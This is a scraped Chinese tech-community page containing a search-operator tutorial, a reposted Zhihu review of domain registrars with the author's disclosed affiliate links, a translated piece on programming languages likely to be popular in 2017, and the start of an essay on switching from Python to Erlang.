使用intitle 指令找到的文件更为准确。出现在title中,说明页面内容跟关键字有很大关联。
intitle.png


10、allintitle


allintitle:搜索返回的是页面标题中包含多组关键词的文件。例如 :allintitle:zabbix docker,就相当于:intitle:zabbix intitle:docker,返回的是标题中中既包含“zabbix”,也包含“docker”的页面,显著提高搜索命中率。
allintitle.png


11、allinurl


与allintitle: 类似,allinurl:zabbix hadoop,就相当于 :inurl:zabbix inurl:hadoop 
allinurl.png


12、site站内搜索


绝大部分网站的搜索功能都有所欠缺,因此,更好的方法是通过 Google 等搜索引擎对站内的信息进行搜索。

你只需要在搜索引擎上输入「site:openskill.cn」加上关键词,搜索引擎就会反馈网站「openskill.cn」内和关键词相关的所有条目。如果再结合准确搜索功能,这项功能将会变得更加强大。
site.png


13、filetype


用于搜索特定文件格式。Google 和bd都支持filetype指令。 比如搜索filetype:pdf docker 返回的就是包含SEO 这个关键词的所有pdf 文件。 
filetype.png


14、搜索相关网站


查找与您已浏览过的网址类似的网站, 例如,你仅需在搜索引擎中输入「related:openskill.cn」即可得到所有和「openskill.cn」相关的网站反馈结果。
relate.png


15、搜索技能的组合使用


你可以对上述所有搜索技能进行组合运用,以便按照自己的意愿缩小或者扩展搜索范围。尽管有些技能或许并不常用,但准确搜索和站内搜索这些技能的使用范围还是相当广泛的。
union.png


其他技巧


other.png

随着 Google 等搜索引擎对于用户自然语言的理解程度与日俱增,这些搜索技能可以派上用场的情况或许将会变得越来越少,至少这是所有搜索引擎共同追求的目标。但是在当下,掌握这些搜索技能还是非常必要的。

参考:http://www.cnblogs.com/feiyuhuo/p/5398238.html http://blog.jobbole.com/72211/ 

亲身经历告诉你应该去哪买域名!

互联网资讯Nock 发表了文章 • 0 个评论 • 705 次浏览 • 2016-12-13 16:07 • 来自相关话题

前言

前方私货预警!!由于域名购买都是个人经验,以下内容都是主观体验。想看统计数据的请绕行。
 
看到那么多人推荐GoDaddy,作为过来人实在是看不下去。

首先说说自己的经历,本人不是专职炒域名的,但是平时喜欢做些小东西,码农本性啊。买域名快10年了,前后也有十几个,其中有一些用到现在,大部分1年以后就没再续。注册商前前后后换过好几家,海外的那几家大的基本上都用过。在这里逐一点评一下。许多时候价格当然重要,但是买东西真的不能只看价格。
 

先说GoDaddy

这个公司的规模够大,毕竟起步早,推广也很不遗余力。但是老实说他们不管是从节操上还是能力上都不太跟得上时代了。黑点实在太多,一条一条写:
 
最近几年出过好几次DNS被黑的情况,要知道域名注册商的DNS服务器被黑可不是小事情。几千万的网站随时解析不了,但就是这样GoDaddy还是被黑了不止一次。可见内部管理已经僵化,反应不过来了。找则新闻大家练练英语:GoDaddy Hacked, Millions of Sites Down 。GoDaddy前几年偷域名的事情搞得沸沸扬扬。许多人在GoDaddy上搜好的域名第二天上去买了就发现被GoDaddy给抢注了,到了二级市场价格直接翻上成百上千倍。这个公司的定价策略不是很透明。比如有一次看到.com域名2.99刀的,点进去一看原来是要签两年合约的第一年才2.99刀,第二年就要回到14.99.算下来两年也没比namecheap便宜多少。倒不是说真的稀罕这点钱,有的时候就是不喜欢绕着弯儿来骗你的感觉。本身的销售团队KPI考核压力太大,连他们的客服都是不遗余力地想卖你东西。有什么问题打电话过去问题还没解决先问你要不要续费,哭笑不得。DNS更新速度很慢。至少前几年要好几个小时才生效。几年没用了不知道现在有没有好点了。他们支持SOPA。对于我来说这是无法接受的互联网公司立场。当然这只是这是我的个人立场,不展开。
但就是这样的一个奇葩公司,不知道为什么在国内有那么多人追捧。我在刚刚开始要买域名的时候也是在某个论坛看到了类似的帖子一边倒地推荐GoDaddy,结果是好多年的窝火。今天愤怒地写出来,就是希望大家不要重蹈覆辙。
 

name.com

在被GoDaddy虐了好几年以后,经朋友推荐了http://name.com,只用了一次就全转过去了。你要说他们有什么特别的,其实真的没什么。就是买东西 -> 付钱 -> 开用。 老实说我们消费者其实真的很容易伺候,只要 许诺多少=给多少 的大家基本上就跪了。价格上来说,新注册的会比GoDaddy贵一些,10刀左右,但人家续费也是同一个价,不会一不小心被高价续费,那叫一个心疼。name.com的问题是他们的域名服务器更新速度跟GoDaddy差不多,改个DNS都要好几个小时。
 
但这几年name.com做了几件让我小小不爽的事情:
大部分域名都提价了,比如.com从$9.99到了$10.99。在别人都开始提供免费ssl的时候,他们居然连自己的主站都不用ssl(印象中是今年8月才开始用)。这让我觉得有点不放心。
于是我又问了一圈朋友,终于找到了namecheap。
 

namecheap

真是后知后觉,居然直到去年底才发现这个神器。各方面都不错,是我现在的主注册商,强烈推荐。namecheap的价格不算最便宜的,但是各方面做得真的真的都很好,包括但不限于:速度,控制台,客服响应,稳定性,免费的ssl和whois privacy等等。而且碰到了域名转出和退款什么的都完全不拖泥带水,可以说性价比非常高。
 

enom

enom在国内可能知名度不是很高,但其实是很老牌的域名注册商,namecheap直到最近之前还只是个enom的分销商(就是说他们直到最近才成为ICANN的正式域名注册商)。Google App提供的域名管理后台就是GoDaddy和enom二选一,换句话说Google也是enom的分销商之一。(话说真是怀念几年前的Google App,每个在Google上注册的域名都会送Gmail、Google Calendar等神器,这么多东西一年才10刀实在是超值,想想现在每个月至少要5刀,后悔没多弄几个哎)。
 

enom现在的问题是他们企业路线对我们不友好。这个公司逆互联网的趋势而行,这几年极其注重分销市场,而懒得搭理最终消费者市场(怀疑公司是不是被三哥把持了)。搞到现在他们的零售价格比起name.com和namecheap都要更高一些。而客服也比较不上心。总的来说属于没有太大缺点但是也没什么吸引力的,鸡肋化了。
 

1&1


最后我想专门提一下1&1。如果说GoDaddy是个奇葩的话,这个公司真是奇葩中的战斗机。首先他们家的价格真的是很便宜,便宜到你会有“卧槽有没有搞错”的想法。但是千万不要上当,尤其是绑定信用卡。我再强调一遍,千!万!不!要!上!当!随便在网上搜一把就能看到无数人的血泪史,域名无法转出,域名转出以后信用卡继续扣钱,客服永远没人听电话,客服听不懂英语,要知道这可是美国公司啊亲!
 

购买域名总结

此外,以下为周围朋友闲聊时的总结,我没有真的用过,大家参考一下:

- 很不错的:Gandi,NameSilo,还有最近的uniregistry.com
- 值得一试:IWantMyName, DynaDot
- 很差:http://hover.com据说跟1&1差不多,居然价格还不便宜。另外,大部分的和主机套餐绑定的域名都要慎重考虑,比如Bluehost / Dreamhost等等,他们的问题就是合同很复杂,域名单独续费转出都很麻烦。
 
除了域名注册商以外,还有几个关于站长的问题在这个帖子里也有提及,一起聊一下:
 

SSL

免费的SSL如果放在前几年会很有吸引力,但最近几年门槛越来越低,ssl也不是一个稀罕东西了。随便说几个平民的ssl解决方案:
startssl直接免费 StartSSL™ Certificates & Public Key Infrastructurecloudflare的免费版自带ssl Home | CloudFlare@Rio 提到的Comodo确实不错,但是本来也不值几个钱。去Cheap SSL Certificates. Buy or Renew Cheapest SSL at $4.80 也就是4块8美刀一年。
 

Whois Privacy

关于Whois Privacy不是说有免费的提供就一定要用,主要的顾虑是这个可能会影响搜索引擎优化(SEO)。有很多的讨论比如:SEO Question : Do WhoIs Privacy Services Harm SEO?
 
结论都是是出于SEO的目的尽量还是不要隐藏自己的信息。其实这从谷歌的角度也好理解,你从事正当生意那是巴不得全世界都知道你的电话,有什么好怕的?从我个人角度来看我用实名注册了那么多域名都没有因为这个被骚扰过。说到底你的邮件和电话没你想象的那么重要。

当然我知道有人会问,我有证据吗?这个还真没有。可是SEO的事情谁说的准?能做的也就只有可悲的自我审查了。我把这个顾虑留在这儿,大家可以自行判断。
 

DNS记录管理

哪怕是namecheap和name.com,他们的管理界面以2014年的眼光来看都不太好使,DNS刷新速度也不是很理想。我的做法一般是国外域名就直接把name server(域名服务器)转到Home | CloudFlare,国内的转到DNSPod-免费智能DNS解析服务商。速度快,界面好,免费。
 

说了半天,那到底怎么样才能省钱?

好。。好。。别急。。让我喝口水。在离题万里以后回到楼主的问题。现在假设各位看官现在已经被我说服,要买namecheap的.com域名,去了官网一看10.69,算上icann的注册费0.18总共不到11刀,合70人民币左右。
 
土豪当然不在乎,但是相信对于大部分人尤其是学生党来说还是能省则省。于是在这里我又要推荐另一个最近在reddit上很火的神器:Domain Price Comparison (domcomp域名价格网)
 
首先他们在主页上有最新的优惠码,而且更新的很勤快。妈妈再也不用担心每次买域名到处瞎jb搜优惠码了。





比如现在是2014年10月17号,这个优惠码就是到10月31号之前都可以用,已经比直接注册省了一刀还多了。请大家自行忽略1&1,人生苦短,life is too short to deal with 1&1。(话说GoDaddy居然只要1.49刀才10块人民币 ,把淘宝都秒了有木有。。。。搞得我都有点心动)

当然优惠码还不是最重要的,关键是这个网站还提供返利,可以折上再折,加入方法很简单,点击右上角的affiliate。就是这个:




注册很简洁,填一下邮箱就能进去了(不知道为什么想到了国内那些注册。。。邮箱认证。。手机绑定。。。)




登陆以后会进到dashboard,也就是控制台。你会看到有一个链接在中间是绿色的,这个就是你的返利链接




下面(请注意这一步很重要),点一下你的返利链接,回到了domcomp.com的主页。是不是看上去什么都没变? 其实不然,你的返利码已经在cookie里面了。接下来就直接点namecheap的价格链接去namecheap注册账号+买域名吧!
 
这个网站反应很快,一般来说买了以后几个小时就会收到邮件确认交易。我现在已经有4个域名通过他们买的(三个.com和一个.io),总共花了八十几刀(io域名真tmd贵)里面有将近20刀的返利。




仔细算了一下,.com的总共花了40人民币不到,买了namecheap + ssl + whois privacy。而淘宝最便宜的也要60多。这么说来淘宝利润也不错,无本买卖做一单25块钱。
 
最后,买的时候有几点要注意:
记得每次都要注册新账号,我也不知道为什么,但是namecheap貌似只对新注册账号有返利。每次买之前,都最好确认一下返利码在cookie里面,我的做法就是登陆一下专门点一下返利链接,然后再点namecheap。这个时候刷新返利控制台,看看点击数(clicks)有没有增加。比如我刚刚点了一下以后,我的控制台里就从11变成12,也就是说我这个点击是有效的返利点击。




利益相关:domcomp.com的链接是我自己的返利链接,也就是说你通过他们买域名的话,除了你实惠以外我也有钱收。

作者:范进
链接:https://www.zhihu.com/question/19551906/answer/31986656
来源:知乎 查看全部


前言


前方私货预警!!由于域名购买都是个人经验,以下内容都是主观体验。想看统计数据的请绕行。
 
看到那么多人推荐GoDaddy,作为过来人实在是看不下去。

首先说说自己的经历,本人不是专职炒域名的,但是平时喜欢做些小东西,码农本性啊。买域名快10年了,前后也有十几个,其中有一些用到现在,大部分1年以后就没再续。注册商前前后后换过好几家,海外的那几家大的基本上都用过。在这里逐一点评一下。许多时候价格当然重要,但是买东西真的不能只看价格。
 


先说GoDaddy


这个公司的规模够大,毕竟起步早,推广也很不遗余力。但是老实说他们不管是从节操上还是能力上都不太跟得上时代了。黑点实在太多,一条一条写:
 
  1. 最近几年出过好几次DNS被黑的情况,要知道域名注册商的DNS服务器被黑可不是小事情。几千万的网站随时解析不了,但就是这样GoDaddy还是被黑了不止一次。可见内部管理已经僵化,反应不过来了。找则新闻大家练练英语:GoDaddy Hacked, Millions of Sites Down 。
  2. GoDaddy前几年偷域名的事情搞得沸沸扬扬。许多人在GoDaddy上搜好的域名第二天上去买了就发现被GoDaddy给抢注了,到了二级市场价格直接翻上成百上千倍。
  3. 这个公司的定价策略不是很透明。比如有一次看到.com域名2.99刀的,点进去一看原来是要签两年合约的第一年才2.99刀,第二年就要回到14.99.算下来两年也没比namecheap便宜多少。倒不是说真的稀罕这点钱,有的时候就是不喜欢绕着弯儿来骗你的感觉。
  4. 本身的销售团队KPI考核压力太大,连他们的客服都是不遗余力地想卖你东西。有什么问题打电话过去问题还没解决先问你要不要续费,哭笑不得。
  5. DNS更新速度很慢。至少前几年要好几个小时才生效。几年没用了不知道现在有没有好点了。
  6. 他们支持SOPA。对于我来说这是无法接受的互联网公司立场。当然这只是这是我的个人立场,不展开。

但就是这样的一个奇葩公司,不知道为什么在国内有那么多人追捧。我在刚刚开始要买域名的时候也是在某个论坛看到了类似的帖子一边倒地推荐GoDaddy,结果是好多年的窝火。今天愤怒地写出来,就是希望大家不要重蹈覆辙。
 


name.com


在被GoDaddy虐了好几年以后,经朋友推荐了http://name.com,只用了一次就全转过去了。你要说他们有什么特别的,其实真的没什么。就是买东西 -> 付钱 -> 开用。 老实说我们消费者其实真的很容易伺候,只要 许诺多少=给多少 的大家基本上就跪了。价格上来说,新注册的会比GoDaddy贵一些,10刀左右,但人家续费也是同一个价,不会一不小心被高价续费,那叫一个心疼。name.com的问题是他们的域名服务器更新速度跟GoDaddy差不多,改个DNS都要好几个小时。
 
但这几年name.com做了几件让我小小不爽的事情:
  1. 大部分域名都提价了,比如.com从$9.99到了$10.99。
  2. 在别人都开始提供免费ssl的时候,他们居然连自己的主站都不用ssl(印象中是今年8月才开始用)。这让我觉得有点不放心。

于是我又问了一圈朋友,终于找到了namecheap。
 


namecheap


真是后知后觉,居然直到去年底才发现这个神器。各方面都不错,是我现在的主注册商,强烈推荐。namecheap的价格不算最便宜的,但是各方面做得真的真的都很好,包括但不限于:速度,控制台,客服响应,稳定性,免费的ssl和whois privacy等等。而且碰到了域名转出和退款什么的都完全不拖泥带水,可以说性价比非常高。
 


enom


enom在国内可能知名度不是很高,但其实是很老牌的域名注册商,namecheap直到最近之前还只是个enom的分销商(就是说他们直到最近才成为ICANN的正式域名注册商)。Google App提供的域名管理后台就是GoDaddy和enom二选一,换句话说Google也是enom的分销商之一。(话说真是怀念几年前的Google App,每个在Google上注册的域名都会送Gmail、Google Calendar等神器,这么多东西一年才10刀实在是超值,想想现在每个月至少要5刀,后悔没多弄几个哎)。
 

enom现在的问题是他们企业路线对我们不友好。这个公司逆互联网的趋势而行,这几年极其注重分销市场,而懒得搭理最终消费者市场(怀疑公司是不是被三哥把持了)。搞到现在他们的零售价格比起name.com和namecheap都要更高一些。而客服也比较不上心。总的来说属于没有太大缺点但是也没什么吸引力的,鸡肋化了。
 


1&1



最后我想专门提一下1&1。如果说GoDaddy是个奇葩的话,这个公司真是奇葩中的战斗机。首先他们家的价格真的是很便宜,便宜到你会有“卧槽有没有搞错”的想法。但是千万不要上当,尤其是绑定信用卡。我再强调一遍,千!万!不!要!上!当!随便在网上搜一把就能看到无数人的血泪史,域名无法转出,域名转出以后信用卡继续扣钱,客服永远没人听电话,客服听不懂英语,要知道这可是美国公司啊亲!
 


购买域名总结


此外,以下为周围朋友闲聊时的总结,我没有真的用过,大家参考一下:

- 很不错的:Gandi,NameSilo,还有最近的uniregistry.com
- 值得一试:IWantMyName, DynaDot
- 很差:http://hover.com据说跟1&1差不多,居然价格还不便宜。另外,大部分的和主机套餐绑定的域名都要慎重考虑,比如Bluehost / Dreamhost等等,他们的问题就是合同很复杂,域名单独续费转出都很麻烦。
 
除了域名注册商以外,还有几个关于站长的问题在这个帖子里也有提及,一起聊一下:
 


SSL


免费的SSL如果放在前几年会很有吸引力,但最近几年门槛越来越低,ssl也不是一个稀罕东西了。随便说几个平民的ssl解决方案:
  1. startssl直接免费 StartSSL™ Certificates & Public Key Infrastructure
  2. cloudflare的免费版自带ssl Home | CloudFlare
  3. @Rio 提到的Comodo确实不错,但是本来也不值几个钱。去Cheap SSL Certificates. Buy or Renew Cheapest SSL at $4.80 也就是4块8美刀一年。

 


Whois Privacy


关于Whois Privacy不是说有免费的提供就一定要用,主要的顾虑是这个可能会影响搜索引擎优化(SEO)。有很多的讨论比如:SEO Question : Do WhoIs Privacy Services Harm SEO?
 
结论都是是出于SEO的目的尽量还是不要隐藏自己的信息。其实这从谷歌的角度也好理解,你从事正当生意那是巴不得全世界都知道你的电话,有什么好怕的?从我个人角度来看我用实名注册了那么多域名都没有因为这个被骚扰过。说到底你的邮件和电话没你想象的那么重要。

当然我知道有人会问,我有证据吗?这个还真没有。可是SEO的事情谁说的准?能做的也就只有可悲的自我审查了。我把这个顾虑留在这儿,大家可以自行判断。
 


DNS记录管理


哪怕是namecheap和name.com,他们的管理界面以2014年的眼光来看都不太好使,DNS刷新速度也不是很理想。我的做法一般是国外域名就直接把name server(域名服务器)转到Home | CloudFlare,国内的转到DNSPod-免费智能DNS解析服务商。速度快,界面好,免费。
 


说了半天,那到底怎么样才能省钱?


好。。好。。别急。。让我喝口水。在离题万里以后回到楼主的问题。现在假设各位看官现在已经被我说服,要买namecheap的.com域名,去了官网一看10.69,算上icann的注册费0.18总共不到11刀,合70人民币左右。
 
土豪当然不在乎,但是相信对于大部分人尤其是学生党来说还是能省则省。于是在这里我又要推荐另一个最近在reddit上很火的神器:Domain Price Comparison (domcomp域名价格网)
 
首先他们在主页上有最新的优惠码,而且更新的很勤快。妈妈再也不用担心每次买域名到处瞎jb搜优惠码了。
domain.jpg


比如现在是2014年10月17号,这个优惠码就是到10月31号之前都可以用,已经比直接注册省了一刀还多了。请大家自行忽略1&1,人生苦短,life is too short to deal with 1&1。(话说GoDaddy居然只要1.49刀才10块人民币 ,把淘宝都秒了有木有。。。。搞得我都有点心动)

当然优惠码还不是最重要的,关键是这个网站还提供返利,可以折上再折,加入方法很简单,点击右上角的affiliate。就是这个:
affiliate.jpg

注册很简洁,填一下邮箱就能进去了(不知道为什么想到了国内那些注册。。。邮箱认证。。手机绑定。。。)
sign.jpg

登陆以后会进到dashboard,也就是控制台。你会看到有一个链接在中间是绿色的,这个就是你的返利链接
program.jpg

下面(请注意这一步很重要),点一下你的返利链接,回到了domcomp.com的主页。是不是看上去什么都没变? 其实不然,你的返利码已经在cookie里面了。接下来就直接点namecheap的价格链接去namecheap注册账号+买域名吧!
 
这个网站反应很快,一般来说买了以后几个小时就会收到邮件确认交易。我现在已经有4个域名通过他们买的(三个.com和一个.io),总共花了八十几刀(io域名真tmd贵)里面有将近20刀的返利。
referral.jpg

仔细算了一下,.com的总共花了40人民币不到,买了namecheap + ssl + whois privacy。而淘宝最便宜的也要60多。这么说来淘宝利润也不错,无本买卖做一单25块钱。
 
最后,买的时候有几点要注意:
  1. 记得每次都要注册新账号,我也不知道为什么,但是namecheap貌似只对新注册账号有返利。
  2. 每次买之前,都最好确认一下返利码在cookie里面,我的做法就是登陆一下专门点一下返利链接,然后再点namecheap。这个时候刷新返利控制台,看看点击数(clicks)有没有增加。比如我刚刚点了一下以后,我的控制台里就从11变成12,也就是说我这个点击是有效的返利点击。

clicks.jpg

利益相关:domcomp.com的链接是我自己的返利链接,也就是说你通过他们买域名的话,除了你实惠以外我也有钱收。


作者:范进
链接:https://www.zhihu.com/question/19551906/answer/31986656
来源:知乎


将在2017年受热捧的编程语言「转」

互联网资讯Nock 发表了文章 • 0 个评论 • 496 次浏览 • 2016-12-09 19:56 • 来自相关话题

摘要

想知道全球最受欢迎的编程语言是什么吗?它们的判断标准又是怎样的呢?

我们都知道,C++,MATLAB,Java 一直都受到技术学院的青睐,大多数毕业生都热衷于学习这些语言。但它们是否是业界所需要的呢?抱着这个疑问,我们访问了几个可信度较高的语言索引网站,同时还深入到 Indeed 和 Glassdoor 等全球门户网站,试图收集数据,以总结出全球最受欢迎的语言是哪些,以及行业内最需要的语言是什么。

注:对编程语言进行受欢迎度评选,并不是为了证明哪项语言好,哪项语言不好, 而是希望能通过这一类分析,找出用户最喜欢以及业界最需要的语言。 
 

TIOBE Index

TIOBE 编程社区索引由荷兰 Eindhoven 的 TIOBE 公司创立和维护。TIOBE 代表着“真诚的重要性”,该索引将每项语言作为关键字,按照搜索引擎的查询数量对语言进行排名。因为 TIOBE 只索引图灵完全的语言,因此 SQL 和 HTML 没有考虑在内。2016年11月的排名结果显示,Java 依然是最受大家欢迎的语言,C 和 C++ 排名紧随其后。出人意料的是,Visual Basic 和 Python 排名有大幅上升,并排在了 Javascript 之前,另外,汇编语言也挤入前十:





PYPL

PYPL(编程语言流行指数)依据 Google 上关于语言教程的搜索频率进行统计。从全球搜索引擎流行度来看,Java 依然是大赢家;Python 较之前五年排名提升 6.8%,而 PHP 暴跌5.0%。




Constantin Brancusi 大学的 Adrian Runceanu 教授在 C++,Java,Oracle 方面有16+年的研究经验。关于 C++ 为什么能在跻身编程语言的前十,他是这么说的:

“我认为 C / C ++ 为大家提供了一个很好的使用机制,我们可以用这项语言创建可移植的应用程序,并且,C/C++ 易于学习,很受学生欢迎。其他语言,如,Javascript,Java,Python 则更适合于 Web 应用程序的开发。我相信 C/C++ 在未来几年依然具有支配性。”

StackOverflow

Stack Overflow 是一个问答平台。它有超过400万的用户,问答了1000多万个问题。根据问题情况,Javascript 的使用者比其他语言的都要多。另外,与 Node 和 Angular 相比,PHP 排名有所下滑。





GitHub

在2016年9月年度会议之前,Github 在此分享了其统计报告。

在过去的12个月里,Github 的活跃用户数量超过580万,活跃存储库数量超过1940万。随后它在平台上公布了热门语言排行表。我相信看过这个列表的人都会知道 Javascript 占据了榜首,当然这都没什么好惊讶的,值得惊讶的是它赶超竞争对手的程度之大......




 

HackerEarth

HackerEarth 每月都会为用户提供大量的编码挑战和应聘机会。该公司支持30多种编程语言,用户可随心选择。HackerEarth 内有100多万名程序员,来看看他们最喜欢使用的是什么:





Indeed

Indeed 是美国最高流量的工作网站之一,可在50多个国家使用,支持28种语言。按照使用量排名,Java 排在第一位,Javascript,PHP 和 C 以一万多的差距尾随其后。令人惊喜的是,R 语言也出现了竞争的势头。




Deepak Garg 教授(数据挖掘以及IEEE计算机协会印度理事会主席的专家)对此的看法是:“计算行业许多工具和应用程序的基本组成都存在着弥合差距,这导致了语言复杂度的演变,使得语言级别比以前更高,这有助于程序员更多地关注逻辑和应用程序,而不仅仅是在实现标准数据类型和构造的复杂结构和语法。

Glassdoor

这个网站的成立使员工可以对组织进行评价。Glassdoor 列出了开发者的工作事项。如果按开发人员的类别排名,该公司最需要的是 Java 开发人员,其次是 Javascript。当然,R 和 C++ 也比较受欢迎,Python 和 Perl 的需求也有了上升。





2017年学习的语言

看这趋势,Java 和 Javascript 依然会是 Web 开发行业最受欢迎的语言,Google 的 Go 也乘胜追击,Ruby 还是比较受初创公司的欢迎。根据数据分析,Mozilla 的 RUST 和 Facebook 的 HACK 在2017年下半年也能挤入排名前列。

2017年排名有望上升的语言:
R——如今,世界对统计数据和数据分析的需求越来越大,如果你发现你的工作内容越来越与R挂钩,那么,R成为2017年最受追捧的语言并不是不可能。

MATLA——一旦成为数学家和科学家的核心语言,MATLAB 在分析和统计的领域发挥的作用会越来越大,会有更多的开发人员将回到 MATLAB,因为数学分析的复杂性正在增加。

SQL——随着越来越多的人获得板载技术,数据库的使用一直在呈指数增长。SQL 可谓是为数据库忠实粉量身定做的。

Arduino——这并不是一项新语言,它由 C 和 C++组合而成,随着越来越多的嵌入式芯片等待被编码,Arduino 将有望成为2017年使用的新技能。

Swift——苹果公司面对开发人员的抱怨,决定用 Swift 取代 Objective-C,其编码速度还是十分可观的,目测 Swift 的开发市场会不断扩大。

当然,以上只是我做出的大胆猜测。2017年到底会掀起怎样的编程语言风呢?我们还是拭目以待吧!

译文地址:https://www.oschina.net/news/79650/2017-top-programming-languages
原文地址:http://blog.hackerearth.com/2016/11/top-programming-language-2017.html 查看全部
2017lang.jpg


摘要


想知道全球最受欢迎的编程语言是什么吗?它们的判断标准又是怎样的呢?

我们都知道,C++,MATLAB,Java 一直都受到技术学院的青睐,大多数毕业生都热衷于学习这些语言。但它们是否是业界所需要的呢?抱着这个疑问,我们访问了几个可信度较高的语言索引网站,同时还深入到 Indeed 和 Glassdoor 等全球门户网站,试图收集数据,以总结出全球最受欢迎的语言是哪些,以及行业内最需要的语言是什么。

注:对编程语言进行受欢迎度评选,并不是为了证明哪项语言好,哪项语言不好, 而是希望能通过这一类分析,找出用户最喜欢以及业界最需要的语言。 
 


TIOBE Index


TIOBE 编程社区索引由荷兰 Eindhoven 的 TIOBE 公司创立和维护。TIOBE 代表着“真诚的重要性”,该索引将每项语言作为关键字,按照搜索引擎的查询数量对语言进行排名。因为 TIOBE 只索引图灵完全的语言,因此 SQL 和 HTML 没有考虑在内。2016年11月的排名结果显示,Java 依然是最受大家欢迎的语言,C 和 C++ 排名紧随其后。出人意料的是,Visual Basic 和 Python 排名有大幅上升,并排在了 Javascript 之前,另外,汇编语言也挤入前十:
index.jpg


PYPL


PYPL(编程语言流行指数)依据 Google 上关于语言教程的搜索频率进行统计。从全球搜索引擎流行度来看,Java 依然是大赢家;Python 较之前五年排名提升 6.8%,而 PHP 暴跌5.0%。
PYPL.jpg

Constantin Brancusi 大学的 Adrian Runceanu 教授在 C++,Java,Oracle 方面有16+年的研究经验。关于 C++ 为什么能在跻身编程语言的前十,他是这么说的:

“我认为 C / C ++ 为大家提供了一个很好的使用机制,我们可以用这项语言创建可移植的应用程序,并且,C/C++ 易于学习,很受学生欢迎。其他语言,如,Javascript,Java,Python 则更适合于 Web 应用程序的开发。我相信 C/C++ 在未来几年依然具有支配性。”


StackOverflow


Stack Overflow 是一个问答平台。它有超过400万的用户,问答了1000多万个问题。根据问题情况,Javascript 的使用者比其他语言的都要多。另外,与 Node 和 Angular 相比,PHP 排名有所下滑。
stackoverflow.jpg


GitHub


在2016年9月年度会议之前,Github 在此分享了其统计报告。

在过去的12个月里,Github 的活跃用户数量超过580万,活跃存储库数量超过1940万。随后它在平台上公布了热门语言排行表。我相信看过这个列表的人都会知道 Javascript 占据了榜首,当然这都没什么好惊讶的,值得惊讶的是它赶超竞争对手的程度之大......
github.jpg

 


HackerEarth


HackerEarth 每月都会为用户提供大量的编码挑战和应聘机会。该公司支持30多种编程语言,用户可随心选择。HackerEarth 内有100多万名程序员,来看看他们最喜欢使用的是什么:
HackerEarth.jpg


Indeed


Indeed 是美国最高流量的工作网站之一,可在50多个国家使用,支持28种语言。按照使用量排名,Java 排在第一位,Javascript,PHP 和 C 以一万多的差距尾随其后。令人惊喜的是,R 语言也出现了竞争的势头。
indeed.jpg

Deepak Garg 教授(数据挖掘以及IEEE计算机协会印度理事会主席的专家)对此的看法是:“计算行业许多工具和应用程序的基本组成都存在着弥合差距,这导致了语言复杂度的演变,使得语言级别比以前更高,这有助于程序员更多地关注逻辑和应用程序,而不仅仅是在实现标准数据类型和构造的复杂结构和语法。


Glassdoor


这个网站的成立使员工可以对组织进行评价。Glassdoor 列出了开发者的工作事项。如果按开发人员的类别排名,该公司最需要的是 Java 开发人员,其次是 Javascript。当然,R 和 C++ 也比较受欢迎,Python 和 Perl 的需求也有了上升。
Glassdoor.jpg


2017年学习的语言


看这趋势,Java 和 Javascript 依然会是 Web 开发行业最受欢迎的语言,Google 的 Go 也乘胜追击,Ruby 还是比较受初创公司的欢迎。根据数据分析,Mozilla 的 RUST 和 Facebook 的 HACK 在2017年下半年也能挤入排名前列。

2017年排名有望上升的语言:
R——如今,世界对统计数据和数据分析的需求越来越大,如果你发现你的工作内容越来越与R挂钩,那么,R成为2017年最受追捧的语言并不是不可能。

MATLA——一旦成为数学家和科学家的核心语言,MATLAB 在分析和统计的领域发挥的作用会越来越大,会有更多的开发人员将回到 MATLAB,因为数学分析的复杂性正在增加。

SQL——随着越来越多的人获得板载技术,数据库的使用一直在呈指数增长。SQL 可谓是为数据库忠实粉量身定做的。

Arduino——这并不是一项新语言,它由 C 和 C++组合而成,随着越来越多的嵌入式芯片等待被编码,Arduino 将有望成为2017年使用的新技能。

Swift——苹果公司面对开发人员的抱怨,决定用 Swift 取代 Objective-C,其编码速度还是十分可观的,目测 Swift 的开发市场会不断扩大。

当然,以上只是我做出的大胆猜测。2017年到底会掀起怎样的编程语言风呢?我们还是拭目以待吧!


译文地址:https://www.oschina.net/news/79650/2017-top-programming-languages
原文地址:http://blog.hackerearth.com/2016/11/top-programming-language-2017.html


一个程序员从Python转向Erlang的自述

互联网资讯Rock 发表了文章 • 0 个评论 • 733 次浏览 • 2016-07-09 14:24 • 来自相关话题

摘要:在这篇文章中,我将会讲解我从Python转向Erlang的过程。




 
概览 
在这篇文章中,我将会讲解我从Python转向Erlang的过程。如果你不是一位Python开发人员,或者你不需要或是不想要极度的扩大系统规模,那么这篇文章可能对你没什么用。如果你无意为企业打造基础设施,或是你开发的产品只是简单的博客、小型资产管理系统,或是非常简单的网页,那么这篇文章对你一点帮助都没有。另外,如果你是一名初学者,正考虑选择一种语言进行学习,请你千万不要根据我的这篇文章放弃Python。我要讲的,是我自己使用Python时所遇到的那些问题,以及Erlang帮我解决这些问题的过程。 

开始的时候我会讲述一下我的过去,然后用自己的总结来结束这篇文章。如果你在阅读的过程中,能够与我有共鸣,请你来联系我,我们好好聊一聊。正是出于这个目的,我才决定把自己的经验分享出来。 

我的15年编程之路 

最早学习编程的时候,我是用MEL(Maya Embedded Language)起步的。之后,我找到了第一份工作,得到了第一份薪水。不久之后,为了获得更严肃的开发工作,我开始学习Python,并完成了K&R的阅读,使用C语言开发Python扩展程序。许多年之后,我对Web开发产生了浓厚的兴趣。我退出了动画行业,并且加入了德黑兰一家著名的科技公司。 

不久之前,我用Python开发了一个名叫Appido.IR的产品,这是一个视频/音乐流媒体服务。 
 
现在来说说我遇到的问题吧。 
 

选择正确的框架

所有人都热爱Django,但是我却讨厌它,而且没有任何理由!也许是因为帮曾帮助Massimo开发了Web2py,也或许是Web2py的简洁性惯坏了我,让我无法选择另外一个full-stack框架。但是在后来的一个无聊的项目上,我最终还是尝试了Django。 

Full-Stack Python框架就是个蜜罐

Django和Web2py各自有什么问题?什么问题都没有!直到你在一些模板引擎和数据库ORM中开始使用Bottle/Falcon之后,你才会开始感觉那些企业框架的速度是如此之慢。在使用一个简单的RESTful API的时候,你不得不浪费你的CPU周期,而且没有好的理由。而在使用复杂的API服务的时候,你必须要找到一条越狱的道路,构建一个全新的架构,然后把它放在你所谓的full-stack框架中。我们来看看下面这个例子: 

